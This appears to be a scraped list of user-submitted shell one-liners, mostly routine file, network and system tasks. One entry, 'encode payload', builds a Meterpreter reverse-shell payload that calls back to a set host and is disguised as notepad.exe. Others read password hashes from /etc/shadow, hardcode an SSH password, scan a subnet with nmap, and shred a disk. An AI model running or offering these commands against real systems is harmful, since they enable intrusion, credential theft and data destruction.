kill -HUP `ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}'`
List of commands you use most often
HISTTIMEFORMAT='' history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds ; gnuplot -persist <<<'plot "/tmp/cmds" using 1:xticlabels(2) with boxes'
validate xml in a shell script.
xmlproc_parse.python-xml &>/dev/null <FILE> || exit 1
a tail function for automatic smart output
tail() { thbin="/usr/bin/tail"; if [ "${1:0:1}" != "-" ]; then fc=$(($#==0?1:$#)); lpf="$((($LINES - 3 - 2 * $fc) / $fc))"; lpf="$(($lpf<1?2:$lpf))"; [ $fc -eq 1 ] && $thbin -n $lpf "$@" | /usr/bin/fold -w $COLUMNS | $thbin -n $lpf || $thbin -n $lpf...
OS-X… create a quick look from the command line
qlmanage -p "yourfilename"
Playback music in VLC without the GUI interface
cvlc <somemusic.mp3>
CPU sucker
while :; do :; done
Google Translate
translate () {lang="ru"; text=`echo $* | sed 's/ /%20/g'`; curl -s -A "Mozilla/5.0" "http://translate.google.com/translate_a/t?client=t&text=$text&sl=auto&tl=$lang" | sed 's/\[\[\[\"//' | cut -d \" -f 1}
Generrate Cryptographically Secure RANDOM PASSWORD
python -c "import string; import random;print(''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(16)))"
Edit all files found having a specific string found by grep
find . -exec grep foobar /dev/null {} \; | awk -F: '{print $1}' | xargs vi
convert mp3 to ogg
mp32ogg file.mp3
Print a row of characters across the terminal
jot -b '#' -s '' $COLUMNS
Remove trailing whitespaces (or tabs) from a text file
sed -i 's/[ \t]\+$//g' file.txt
Show all groups user is a member of and other useful info
net user USERNAME /domain
my command for downloading delicious web links,
wget -r --wait=5 --quota=5000m --tries=3 --directory-prefix=/home/erin/Documents/erins_webpages --limit-rate=20k --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net -F -i ./delicious-20090629.htm
CPU architecture details
cat /proc/cpuinfo
OSX Terminal helper with tab completion, ssh tunneling, and now screen re-attach
ash prod<tab>
ls
ls
check your up to date delicious links.
curl -k https://Username:Password@api.del.icio.us/v1/posts/all?red=api | xml2| \grep '@href' | cut -d\= -f 2- | sort | uniq | linkchecker -r0 --stdin --complete -v -t 50 -F blacklist
Find all files containing a word
find . -name "*.php" -exec grep -il searchphrase {} \;
identify big file
du -s * | sort -nr | head
Timelapse with ffmpeg (after symlinking pictures as per ffmpeg FAQ)
ffmpeg -r 12 -i img%03d.jpg -sameq -s hd720 -vcodec libx264 -crf 25 OUTPUT.MP4
hardcode dnsserver, no more rewriting of etc/resolv.conf
chkmod -w /etc/resolve.conf
Edit all files found having a specific string found by grep
find . -type f -exec grep -qi 'foo' {} \; -print0 | xargs -0 vim
Pear install behind proxy
pear config-set http_proxy http://myusername:mypassword@corporateproxy:8080
know which version of the program is installed on your Debian and derivatives
aptitude show $PROGRAM | grep Vers
Get minimum, current, maximum possible resolution of Xorg
xrandr -q | grep -w Screen
split a postscript file
file=orig.ps; for i in $(seq `grep "Pages:" $file | sed 's/%%Pages: //g'`); do psselect $i $file $i\_$file; done
A simple overview of memory usage refreshed at user designated intervals.
watch -n 10 free -m
Find the full path of an already running process
readlink -f /proc/<pid>/cmdline
Filenames ROT13
for each in *; do file="$each."; name=${file%%.*}; suffix=${file#*.}; mv "$each" "$(echo $name | rot13)${suffix:+.}${suffix%.}"; done
Sort files in $PWD by year embedded anywhere in filename
ls --color=never -1| grep -E "[0-9]{4}"|sed -re "s/^(.*)([0-9]{4})(.*)$/\2 \1\2\3/" | sort -r
display only tcp
netstat -4tnape
wget, tar xzvf, cd, ls
wtzc () { wget "$@"; foo=`echo "$@" | sed 's:.*/::'`; tar xzvf $foo; blah=`echo $foo | sed 's:,*/::'`; bar=`echo $blah | sed -e 's/\(.*\)\..*/\1/' -e 's/\(.*\)\..*/\1/'`; cd $bar; ls; }
Split a file into equal size chunks and archive to (e)mail account.
split -b4m file.tgz file.tgz. ; for i in file.tgz.*; do SUBJ="Backup Archive"; MSG="Archive File Attached"; echo $MSG | mutt -a $i -s $SUBJ YourEmail@(E)mail.com
Find Out My Linux Distribution Name and Version
if [ -x /etc/*-release ]; then cat /etc/*-release ; else cat /etc/*-version ; fi
Transfer files with rsync over ssh on a non-standard port.
rsync -P -e 'ssh -p PORT' SRC DEST
Print environment information.
perl -e 'print "$_=$ENV{$_}\n" for keys %ENV'
Delete Text Editor's Backup
find . -name "*~" -exec rm {} \;
Greets the user appropriately
echo -e "12 morning\n15 afternoon\n24 evening" | awk '{if ('`date +%H`' < $1) print "Good " $2}'
convert uppercase to lowercase
tr '[:upper:]' '[:lower:]' < input.txt > output.txt
kerberos authentication
kinit username
…if you have sudo access, you could just install ssh-copy-id (Mac users: take note. this is how you install ssh-copy-id )
sudo curl "http://hg.mindrot.org/openssh/raw-file/c746d1a70cfa/contrib/ssh-copy-id" -o /usr/bin/ssh-copy-id && sudo chmod 755 /usr/bin/ssh-copy-id
keep an eye on system load changes
watch -n 7 -d 'uptime | sed s/.*users?, //'
Get DMX disk ID from the ODM database of a DMX attached disk. It is ok for virtual disks.
odmget -q "attribute=unique_id" CuAt |sed -n 's/.*name = "\(.*\)"/\1/p;s/.*value = "..........\(....\)..SYMMETRIX..EMCfcp.*"/0x\1/p;s/.*value =//p'
[zsh]: what does 'nyae' mean?
setopt correct
while true ; do cpulimit -z -p $( pidof cc1 ) -l 5; sleep 1; done
Limit kernel compilation load
find all files of a type which don't match a specific name
for output in $(find . ! -name movie.nfo -name "*.nfo") ; do rm $output ; done
change the all files which contains xxxxx to yyyyyy
grep -r -l xxxxx . | xargs perl -i -pe "s/xxxxx/yyyyy/g"
Loopback mount .iso on FreeBSD
mount -t cd9660 /dev/`mdconfig -a -t vnode -f discimg.iso` /cdrom
Add another column printing cumulative sum of entries in first column, sum being less than or equal to 100
for f in .; do awk 'BEGIN {sum=0;flag=0} {sum=sum+$1; if (flag == 0) { print $1"\t"sum > "cumulative.'$f'" } if (sum > 100) flag=1 }' $f; done
Show best quote from reddit to your terminal
rsstail -o -n 1 --f 'RedditQuote: {title}' http://www.reddit.com/r/quotes/new/.rss
shows which files differ in two direcories
rsync -avz --dry-run /somewhere/source_directory /somewhereelse/target_directory
Search through files, ignoring .svn
find . | grep -v svn
Kill an orphan console
skill -KILL -t ttyS0
Connect to irssi over ssh
rxvt-unicode -g 999x999 -sr -depth 32 -bg rg-ba:0000/0000/0000/dddd +sb -T irssi -n irssi -name irssichat -e ssh server.com -Xt screen -aAdr -RR irssi irssi
Find packages on Ubuntu/Debian based on their description
aptitude search ~d<string>
checkout directory and the files it contains, without any further subdirectories
cvs checkout -l project/src/
sort and show disk space (largest first) with human readable sizes
du -hs `du -sk * | sort -rn | cut -f2-`
print nearest multiples of 100 in a file
awk 'BEGIN {count=0;prev=-1} {if(count>0) { if(int($1/100) > int(prev/100)) {print $1} } ; prev=$1; count++}' inputFile > rounded
Show total cumulative memory usage of a process that spawns multiple instances of itself
CMD=chrome ; ps h -o pmem -C $CMD | awk '{sum+=$1} END {print sum}'
forking a process from gnome-terminal detached from the terminal.
nohup gnome-open . 0</dev/null 1>/dev/null 2>/dev/null&
Remove color codes (special characters) with sed
cat input.txt | sed 's/\\\033[^a-zA-Z]*.//g'
Simply generate a password for userPassword in ldap
slpappasswd
Remove color codes (special characters) with perl
perl -ne 's/\^.{1,7}?m//g;print'
Print starting line numbers of group of lines in a file, which have the same first and second column
awk '{pattern=$1$2; seen[pattern]++; if (seen[pattern] == 1) print NR}' inputFile
Get to the user for using system.
ps awwux|awk '{print $1}'|sort|uniq
Uninstall all gems
gem list | cut -d" " -f1 | grep --invert-match "test-unit\|psych\|io-console\|rdoc\|json\|bigdecimal\|rake\|minitest" | xargs gem uninstall -aIx
open new tab without in gnome-terminal
WID=xprop -root | grep "_NET_ACTIVE_WINDOW(WINDOW)"| awk '{print $5}' xdotool windowfocus $WID xdotool key ctrl+shift+t wmctrl -i -a $WID
transfer files locally to be sure that file permissions are kept correctly showing progress
cp -av source dest
Remove CR LF from a text file
sed -i 's/\r\n//' file.txt
Find out if a module is installed in perl (and what version)
perl -MModule::Name\ 9999 -e 1
define a function for searching bash history
hgrep() { ... } longer then 255 characters, see below
top ten of biggest files/dirs in $PWD
du -sm *|sort -rn|head -10
Organize a TV-Series season
season=1; for file in $(ls) ; do dir=$(echo $file | sed 's/.*S0$season\(E[0-9]\{2\}\).*/\1/'); mkdir $dir ; mv $file $dir; done
dolphins on the desktop (compiz)
xwinwrap -ni -argb -fs -s -st -sp -nf -b -- /usr/libexec/xscreensaver/atlantis -count 20 -window-id WID &
View the newest xkcd comic.
wget -O xkcd_$(date +%y-%m-%d).png `lynx --dump http://xkcd.com/|grep png`; eog xkcd_$(date +%y-%m-%d).png
Extract tags in a file
awk -vRS="</Tag2>" '/<Tag2>/{gsub(/.*<Tag2>/,"");print}' file
Check a internet connetion is up. If it isn't write a log.
while true; do /bin/ping -q -c1 -w3 8.8.8.8 2>&1 > /dev/null || echo "8.8.8.8 ping failed at $(date +%d/%m/%y) $(date +%H:%M:%S)" >> /var/log/ping.log; sleep 10; done &
To know the IP address of the machine current running on the network
fping -g 192.168.1.1 192.168.1.10 -r 1 | grep -v unreachable | awk '{print $1}'
find /var/chef/backup -name "$(date +%Y%m%d)"
Find files that have been changed by a Chef run today.
20char long alpahnumeric
$ apg -m 40 -a 1
make GNU find follow symbolic links
find -L /home/sonic/archive -name '*gz' -type f
Move all epub keyword containing files to Epub folder
IFS=$(echo -en "\n\b"); mkdir Epub; for i in `find . | grep epub`; do echo "epub: $i"; mv -v "$i" Epub; done
Shutdown and restart Windoze from the command line
C:\> shutdown /f /r /t 0
Tricky implementation of two-dimensional array in Bash
getarray(){ a=$1;b="${a[$2]}";eval "c=$b";echo "${c[$3]}";return 0;};a[0]="( a b c )";a[1]="( d e f )";getarray a 1 2
shows the full path of shell commands
whereis command
sed - match numbers between 1-100
cat file | sed -n -r '/^100$|^[0-9]{1,2}$/p'
Get weather
STA=KILCHICA30 PAG=http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=${STA} D=($(curl -s $PAG | sed -n 's/.*<\(temp_f\|wind_dir\|wind_mph\)>\(.*\)<\/.*/\2/p')) echo ${D[1]}@${D[2]}mph ${D[0]}F
automate web search and open tabs in firefox
cat search_items.txt | while read i; do surfraw google -browser=firefox $i; done
Download latest Git setup executable for Windows
wget --no-check-certificate https://code.google.com/p/msysgit/downloads/list -O - 2>nul | sed -n "0,/.*\(\/\/msysgit.googlecode.com\/files\/Git-.*\.exe\).*/s//http:\1/p" | wget -i - -O Git-Latest.exe
Go back to the previous directory.
cd -
Perl One Liner to Generate a Random IP Address
perl -e 'printf "%vd\n",pack "N",rand 256**4'
Login To SSH Server / Provide SSH Password Using A Shell Script
sshpass -p 't@uyM59bQ' ssh username@server.example.com
Move all epub keyword containing files to Epub folder
mkdir Epub ; mv -v --target-directory=Epub $(fgrep -lr epub *)
Remove an unnecessary suffix from a file name for all files in a directory
for f in $(ls *.xml.skippy); do mv $f `echo $f | sed 's|.skippy||'`; done
Exim version
exim -bV
Multiline read
VAR=$(head -5)
Search for a string in all files recursively
grep string * -R
Checks all MySQL tables
myisamchk /path/to/mysql/files/*.MYI
transform relative URLs (shoddy hack but it works)
wget -k $URL
search for the content in a directory
find . -exec grep "test" '{}' /dev/null \; -print
Bulk install
apt-cache search perl | grep module | awk '{print $1;}' | xargs sudo apt-get install -y
remove files and directories with acces time older than a given date
find <dir> -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < <time in epoc> ) print $1 ;}' | xargs rm --verbose -fr ;
transfer files locally to be sure that file permissions are kept correctly showing progress
dir='path to file'; tar cpf - "$dir" | pv -s $(du -sb "$dir" | awk '{print $1}') | tar xpf - -C /other/path
Recursively remove all empty directories
find . -type d | tac | xargs rmdir 2> /dev/null
Remove dashes in UUID
python -c "from uuid import UUID; print UUID('63b726a0-4c59-45e4-af65-bced5d268456').hex;"
VI/VIM Anonymize email address in log file
%s/.\{5\}@.\{5\}/XXXXX@XXXXXX/g
finds all files that contain "some string"
find . -type f -exec grep -l "some string" {} \;
Find errors in your php website
find -name "*.php" -exec php -l {} \; | grep -v "No syntax errors"
Show last argument
echo !$
encode payload
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=8000 R | msfencode -c 5 -t exe -x ~/notepad.exe -k -o notepod.exe
Find all files with setuid bit
find / -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
keep trying a command until it is successful
jkhgkjh; until [[ $? -eq 0 ]]; do YOURCOMMAND; done
Print the current battery status
acpi | cut -d '%' -f1 | cut -d ',' -f2
Save VM running as headless
VBoxManage controlvm ServidorProducao savestate
make multiple directories
mkdir {1..100}
Determine MythTV Version on a Debian System
apt-cache policy mythtv
Open a RemoteDesktop from terminal
rdesktop -a 16 luigi:3052
Deleting / Ignoring tailer record from the file
cp foo.txt foo.txt.tmp; sed '$ d' foo.txt.tmp > foo.txt; rm -f foo.txt.tmp
GUID generator
guid(){ lynx -nonumbers -dump http://www.famkruithof.net/uuid/uuidgen | grep "\w\{8\}-" | tr -d ' '; }
Shred an complete disk, by overwritting its content 10 times
sudo shred -zn10 /dev/sda
see who is on this machine
who;ps aux|grep ssh
Create ubuntu.qcow image, limit size 10G
qemu-img create ubuntu.qcow 10G
Compress all .txt files to .txt.ta.gz and remove the original .txt
for i in "*.txt"; do tar -c -v -z -f $i.tar.gz "$i" && rm -v "$i"; done
Open virtual machine in ubuntu.qcow image
qemu -cdrom /dev/cdrom -hda ubuntu.qcow -boot d -net nic -net user -m 196 -localtime
Improvement of curl + Twitter
echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS" http://twitter.com/statuses/update.xml
Outputs current folder svn revision
LC_ALL=C svn info | grep Revision | awk '{print $2}'
kills rapidly spawning processes that spawn faster than you can repeat the killall command
killall rapidly_spawning_process ; killall rapidly_spawning_process ; killall rapidly_spawning_process
Find dead symbolic links
find -type l -xtype l
find the device when you only know the mount point
df | grep -w '/media/mountpoint' | cut -d " " -f 1
Take own (chown) Administrators group
takeown.exe /F "FILE_or_DIR" /A /R /D O
Find errors in your php website
egrep '(\[error\])+.*(PHP)+' /var/log/apache2/error.log
Generate a random password 30 characters long
pwgen 30
find the device when you only know the mount point
df | grep -w '/media/armadillo' | cut -d " " -f 1
Multiple Timed Execution of subshells sleeping in the background using job control and sleep.
S=$SSH_TTY && (sleep 3 && echo -n 'Peace... '>$S & ) && (sleep 5 && echo -n 'Love... '>$S & ) && (sleep 7 && echo 'and Intergalactic Happiness!'>$S & )
Checks apache's access_log file, strips the search queries and shoves them up your e-mail
cat /var/log/httpd/access_log | grep q= | awk '{print $11}' | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1 | mail youremail@isp.com -s "[your-site] search strings for `date`"
Sum file sizes
find . -type f -printf %s\\n | numsum
Display all installed ISO/IEC 8859 manpages
for i in $(seq 1 11) 13 14 15 16; do man iso-8859-$i; done
Get a list of commands for which there are no manpages
for file in $(ls /usr/bin ) ; do man -w $file 2>> nomanlist.txt >/dev/null ; done
get a list of top 1000 sites from alexa
curl -s -O http://s3.amazonaws.com/alexa-static/top-1m.csv.zip ; unzip -q -o top-1m.csv.zip top-1m.csv ; head -1000 top-1m.csv | cut -d, -f2 | cut -d/ -f1 > topsites.txt
turn url and link text into a hyperlink
sed "s/\([a-zA-Z]*\:\/\/[^,]*\),\(.*\)/\<a href=\"\1\"\>\2\<\/a\>/"
psgrepp
pgrep -lf
Find PHP files
find . -name "*.php" -print0 | xargs -0 grep -i "search phrase"
Get pid of running Apache Tomcat process
ps -eo pid,args | grep -v grep | grep catalina | awk '{print $1}'
Convert all tabs in a file to spaces, assuming the tab width is 2
sed -i 's/\t/ /g' yourfile
small CPU benchmark with PI, bc and time.
time cat /proc/cpuinfo |grep proc|wc -l|xargs seq|parallel -N 0 echo "scale=4000\; a\(1\)\*4" '|' bc -l
Import a virtual machine with XenServer
xe vm-import -h <host ip> -pw <yourpass> filename=./Ubuntu-9.1032bitPV.xva sr-uuid=<your SR UUID>
Check the reserved block percentage of an Ext⅔ filesystem
dumpe2fs -h /dev/sdX
Mount a CD-ROM on Solaris (SPARC)
mkdir -p /cdrom/unnamed_cdrom ; mount -F hsfs -o ro `ls -al /dev/sr* |awk '{print "/dev/" $11}'` /cdrom/unnamed_cdrom
Mount a Windows share on the local network (Ubuntu)
sudo mount -t cifs //$ip_or_host/$sharename /mnt
Get IPv6 of eth0 for use with scripts
/sbin/ifconfig eth0 | grep 'inet6 addr:' | awk {'print $3'}
Show the single most recently modified item in a directory
ls -ltp | sed '1 d' | head -n1
Upload - rsync using key pair
rsync -avvvz -e "ssh -i /root/.ec2/id_rsa-gsg-keypair" --archive --progress /root/.ec2/id_rsa-gsg-keypair root@ec2-75-101-212-113.compute-1.amazonaws.com:/root
Alias cd to record your directory travelling
alias cd='pushd'; alias cd-='popd'
add title and alt-text to your collection of xkcd comics
for fn in xkcd*.png xkcd*.jpg; do echo $fn; read xw xh <<<$(identify -format '%w %h' $fn); nn="$(echo $fn | sed 's/xkcd-\([^-]\+\)-.*/\1/')"; wget -q -O xkcd-${nn}.json http://xkcd.com/$nn/info.0.json; tt="$(sed 's/.*"title": "\([^"]\+\)",.*/\1/' ...
mac address for eth0
ifconfig eth0 | grep 'HWaddr' | awk '{print $5}'
show ip address
ip -f inet addr show eth0
Upload - rsync using key pair
rsync -avvvz -e "ssh -i /root/.ec2/id_rsa-gsg-keypair" --archive --progress /root/.ec2/id_rsa-gsg-keypair root@ec2-75-101-212-113.compute-1.amazonaws.com:/root
command line fu roulette, without all the excessive parsing
function fur () { curl -sL 'http://www.commandlinefu.com/commands/random/plaintext' | grep -v "^!!! Example "commandlinefu" }
Removing accents in name files
IFS=?" ; for i in * ; do mv -v $i `echo $i|tr ???????????????????\ aaaeeiooAAAEEIOOOcC_` ; done
Show the single most recently modified file in a directory
ls -lFart |tail -n1
put nothing nowhere
cat /dev/zero > /dev/null &
Rank top 10 most frequently used commands
history | sed -e 's/^sudo //' | awk '{print $2}' | sort | uniq -c | sort -rn | head
print random commandlinefu.com submission
lynx -source http://www.commandlinefu.com/commands/random | sed 's/<[^>]*>//g' | head -1037 | tail -10 | sed -e 's/^[ \t]*//' | sed '/^$/d' | head -2
big countdown clock with hours, minutes and seconds
watch -tn1 'date -u +%T -d @$(expr $(date -d HH:MM +%s) - $(date +%s)) | toilet -f bigmono12'
Recursively remove all '.java.orig' directories (scalable)
find . -depth \( -path '*/*.java.orig' -o -path '*/*.java.orig/*' \) -delete
Clean all .pyc files from current project. It cleans all the files recursively.
find . -name "*.pyc" -exec rm {} \;
find a word in multiple files avoiding svn
grep -r 'keyword keyword2' your/path/ | grep -v svn
umount all nfs mounts on machine
mount | grep : | tr -s ' ' -d 3 | xargs umount -v
List all symbolic links in current directory
ls -F | sed -n 's/@$//p'
Monitor the Kernel Ring Buffer
watch 'dmesg | tail -15'
Emulate sleep in DOS/BAT
echo sleep() begins: %TIME% && FOR /l %a IN (10,-1,1) do (ECHO 1 >NUL %as&ping -n 2 -w 1 127.0.0.1>NUL) && echo sleep() end: %TIME%
Count total number of subdirectories in current directory starting with specific name.
find . -type d -name "*TestDir*" | wc -l
Add a list of numbers
echo "1 2 3+p" | dc
find the biggest files recursively, no matter how many
find . -type f|perl -lne '@x=sort {$b->[0]<=>$a->[0]}[(stat($_))[7],$_],@x;splice(@x,11);print "@{$x[0]}";END{for(@x){print "@$_"}'
Delete all but the last 1000 lines of file
ex -c '1,$-1000d' -c 'wq' file
Display a File with Line Number
nl filename | more
Restore the keyboard for qwerty users.
setxkbmap us
Print a row of 50 hyphens
printf "%.50d" 0 | tr 0 -
ls output - octal
ls -l | sed -e 's/--x/1/g' -e 's/-w-/2/g' -e 's/-wx/3/g' -e 's/r--/4/g' -e 's/r-x/5/g' -e 's/rw-/6/g' -e 's/rwx/7/g' -e 's/---/0/g'
UNIX one-liner to kill a hanging Firefox process
kill -HUP ` ps -aef | grep -i firefox | sort -k 2 -r | sed 1d | awk ' { print $2 } ' `
Lowercase to Uppercase
echo "test" | sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'
Cat files in a directory; for loop command
for f in *; do clear; cat $f; sleep .3; done
Mount a Windows share on the local network (Ubuntu) with user rights and use a specific samba user
sudo mount -t cifs -o credentials=/path/to/credenials //hostname/sharename /mount/point
Unpack .tgz File On Linux
tar zxvf fileNameHere.tgz
Bash Alias That Plays Music from SomaFM
alias somafm='read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls'
Find in all files in the current directory, just a find shorthand
find ./ -name $1 -exec grep -H -n $2 '{}' ';'
Replace with XFCE Window Manager
xfwm4 --replace
Find today created files
find -maxdepth 1 -type f -newermt "00:00" -printf "%f\n" | sort
determine if CPU is 32-bit or 64-bit
grep lm /proc/cpuinfo
Sorted list of established destination connections
netstat | grep EST | awk '{print $5}' | sort
Change default values on Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
system max <some value>
Bash function do emulate send to trash files
trash <file>
Get currently logged in console user's shortname
stat -f '%Su' /dev/console
Forward connections
ssh -g -L 8080:localhost:80 root@$HOST
Cat files in a directory; for loop command
for file in ./*; do cat "$file"; sleep 0.3
make soft links from a downloaded bin folder
ls | while read line; do ln -s "$(pwd)/$line" "/usr/bin/$line"; done
Group page count in pmwiki data base
cd /path/to/pmwiki/wiki.d;/bin/ls -1 | perl -ne 'my ($group,$name)=split(/\./);$counts{$group}++;' -e 'END { foreach $group (sort keys %counts) {printf("%d\t%s\n",$counts{$group},$group);} }'|sort -rn
Show "Max" settings for PHP
php -i|grep -i max
Recursively remove .svn directories
rm -rf `find . -name .svn`
Outgoing IP of server
wget http://www.whatismyip.org --quiet -O - | cat
resize a NTFS partition
ntfsresize --size X[k,M.G] /dev/hda1
Dump 389ds schema
ldapsearch -xLLL -b "cn=schema" "(objectclass=*)" \ \* objectclasses attributetypes | perl -p0e 's/\n //g'
Calculates fake folder checksum based on folder's files' md5sums
find path/to/folder/ -type f -print0 | xargs -0 -n 1 md5sum | awk '{print $1}' | sort | md5sum | awk '{print $1}'
Extract all 7zip files in current directory taking filename spaces into account
7za x \*.zip
Send an email using the mutt email client
M=bob@example.com; echo "Email message" | mutt -s "Email Subject" $M
NMAP_UNDERGROUND_VECTRA
nmap -sS -O -v -oS - 192.168.2.0/24
Printout a list of field numbers (awk index) from a CSV file with headers as first line.
awk -F, '{gsub(/ /,"");for(f=1;f<=NF;f++) print f,$f;exit}' file.csv
check mysql capacity to handle traffic
mysqlslap --query=/root/select_query_cp.sql --concurrency=10 --iterations=5 --create-schema=cvts1
Quick alias for playing music.
alias mux='clear && cd ~/Music/ && ls && echo -n "File> " && read msi && mplayer ~/Music/$msi'
convert Unix newlines to DOS newlines
sed 's/$'"/`echo \\\r`/"
What is my ip?
lynx --dump "http://checkip.dyndns.org"
What is my ip?
w3m miip.cl | grep ip
A little bash daemon =)
echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) & disown -h $!
Generate an XKCD #936 style 4 word password
cat /usr/share/dict/words | grep -P ^[a-z].* | grep -v "'s$" | grep -Pv ^.\{1,15\}$ | shuf -n4 | tr '\n' ' ' | sed 's/$/\n/'
What is my ip?
w3m http://amit-agarwal.co.in/mystuff/getip_txt.php will return the ip in text format.
Burn an ISO on commandline with wodim instead cdrecord
wodim foo.iso
Show live HTTP requests being made on OS X
sudo tcpdump -i en1 -n -s 0 -w - | grep -a -o -E "Host\: .*|GET \/.*"
Renames all files in the current directory such that the new file contains no space characters.
rename 's/ /_/g' *
Unmount all mounted SAMBA/Windows shares
umount -t smbfs
Search through files, ignoring .svn
find . -type f -print0 | grep -vzZ '.svn' | xargs -0 grep --color -nEHi "SEARCHTERM"
gzip vs bzip2 at compressing random strings?
< /dev/urandom tr -dc A-Za-z0-9_ | head -c $((1024 * 1024)) | tee >(gzip -c > out.gz) >(bzip2 -c > out.bz) > /dev/null
What Type of Computer Do You Have?
cat /sys/devices/virtual/dmi/id/board_name
Find MAC address of Active Eth connection
/sbin/ifconfig|grep -B 1 inet |head -1 | awk '{print $5}'
Rezip a bunch of files
find . -name "*.gz" | xargs -n 1 -I {} bash -c "gunzip -c {} | sort | gzip -c --best > {}.new ; rm {} ; mv {}.new {}"
Quickly re-launch your script (python for example)
while read ; do python <script> ; done
List all password hashes
cat /etc/shadow
Which processes are listening on a specific port (e.g. port 80)
netstat -nap|grep 80|grep LISTEN
Get your IP addresses
ifconfig | grep -o "inet [^ ]*" | cut -d: -f2
Alias to list all functions loaded into bash (that don't start with _). Also shows file it's defined in.
alias functions='shopt -s extdebug;declare -F | grep -v "declare -f _" | declare -F $(awk "{print $3}") | column -t;shopt -u extdebug'
Find files and list them sorted by modification time
find . -type f -exec ls -tr {} +
cmatrix
xterm +u8 -fn mtx -maximized -T "There is no spoon!" -e cmatrix -bxa -u 3 & sleep .1s && wmctrl -r :ACTIVE: -b add,fullscreen && transset-df -a &
Append output to the beginning of a file.
command > tmp && cat logfile.txt >> tmp && tmp > logfile.txt && rm tmp
Go to end of current command line
CTRL + e
kill all instances of an annoying or endless, thread-spawning process
ps auxwww | grep outofcontrolprocess | awk '{print $2}' | xargs kill -9
Programmatically partition a new disk with fdisk
(echo n; echo p; echo 3; echo 1; echo; echo; echo w; echo q) | /sbin/fdisk /dev/sda
Kills all processes for a certain program
kill -9 $(pidof process)
Find files and list them sorted by modification time
ls -rl --time-style=+%s * | sed '/^$/,/^total [0-9]*$/d' | sort -nk6
how to Disable a guest user from the login panel Xubuntu
sudo sh -c 'printf "[SeatDefaults]\nallow-guest=false\n" >/usr/share/lightdm/lightdm.conf.d/50-no-guest.conf'; sudo sh -c 'printf "[SeatDefaults]\nallow-guest=false\n" >/usr/share/lightdm/lightdm.conf.d/50-guest-wrapper.conf'
Show directories in the PATH, one per line
echo src::${PATH} | awk 'BEGIN{pwd=ENVIRON["PWD"];RS=":";FS="\n"}!$1{$1=pwd}$1!~/^\//{$1=pwd"/"$1}{print $1}'
Convert all the symbolic links in $PWD to copies of the referenced files
for FILE in `ls -1`; do if [ -L "$FILE" ]; then cp $(readlink "$FILE") ${FILE}_rf; rm -f $FILE; mv ${FILE}_rf "$FILE"; fi; done
reset the bizzarre gone junk terminal to normal
echo "Xc" | tr "Xo" "\033\017
Cleanly quit KDE4 apps
kquitapp plasma
Replace spaces with tabs & format file source recursuvely within a directory
find $DIR -name *.php -exec vim -u NONE -c 'set ft=php' -c 'set shiftwidth=4' -c 'set tabstop=4' -c 'set noexpandtab!' -c 'set noet' -c 'retab!' -c 'bufdo! "execute normal gg=G"' -c wq {} \;
Delete all empty lines from a file with vim
ggqqqqq/^$dd@qq@q
color grep with specification of colors with GREP_COLOR env variable
setenv GREP_COLOR '1;37;41'
Recursively deletes DIR directories
find . -type d -name DIR -print0 | xargs -r0 rm -r
Find all uses of PHP constants in a set of files
$class=ExampleClass; $path=src; for constant in `grep ' const ' $class.php | awk '{print $2;}'`; do grep -r "$class::$constant" $path; done
commit message generator - whatthecommit.com
curl -s http://whatthecommit.com/ | tr -s '\n' ' ' | grep -so 'p>\(.*\)</p' | sed -n 's/..\(.*\)..../\1/p'
Get external IP address (supports IPv4 and IPv6)
curl ip.telize.com
Muestra el crecimiento de un archivo por segundo
while true; do A=$(stat -c%s FILE); sleep 1; B=$(stat -c%s FILE); echo -en "\r"$(($B-$A))" Bps"; done
Update many subversion projects which reside in one directory
for d in $(find . -maxdepth 1 -type d -name '[^.]*'); do cd "$d"; svn up; cd ..; done
Identify files uniquly in a FS with inode numer
ls -i1 filename
Function to remove a password from a PDF
passpdf(){ for i; do qpdf --password=<YOUR PASSWD> --decrypt "$i" "new$i"; done; }
Buscar archivos con la extension mp3 y mostrar el conteo de resultados
find -D rates . -name "*.mp3" -type f
jump to home dir and list all, not older than 3 days, with full-path, hidden/non-hidden files/subdirectories
cd && tree -aicfnF --timefmt %Y%j-%d-%b-%y|grep $(date +%Y%j)'\|'$[$(date +%Y%j)-1]'\|'$[$(date +%Y%j)-2]
Monitor ETA using pv command
mysqldump --login-path=mypath sbtest sbtest4 | pv --progress --size 200m -t -e -r -a > dump.sql
Read multiple lines of a file based on regex matching a single line
for i in `grep -n "SomeRegEx" foo.txt | sed 's/:/ /' | awk '{print $1}'`; do echo "head -n `echo "$i+4" | bc` foo.txt | tail -n 5"; done > headsandtails.sh
Randomize GNU grep's color
cgrep() { GREP_COLOR="1;3$((RANDOM%6+1))" grep --color=always "$@" }
Sum some columns on one line in a csv file.
perl -ne '@a=split(/,/); $b=0; foreach $r (1..$#a){ $b+=$a[$r] } print "$a[0],$b\n"' -f file.csv
Fast searh Ubntu software repo
alias acs='apt-cache search'
wget ? server to server files transfer
wget -H -r ?level=1 -k -p http://www.domain.com/folder/
Get KDE version
kded --version | awk -F: 'NR == 2 {print $2}' | sed 's/\s\+//g'
List ReverseSSH ports
sudo lsof -i -n | grep sshd | grep sshuser | grep :[PORT-RANGE] | grep -v IPv6 | awk -F\: '{print $2}' | grep -v http | awk -F" " '{print $1}'
MAC OS X: audible notification after a long command
long_command; say I am all done
Individually compress each file in a directory
ls | while read filename; do tar -czvf "$filename".tar.gz "$filename"; rm "$filename"; done
Create & mount 'encrypted filesystem' on a partition or file
cryptmount -m <name>
disable touchpad
synclient TouchPadOff=1
Get number of established sessions on a given port
netstat -anp | grep :80 | grep ESTABLISHED | wc -l
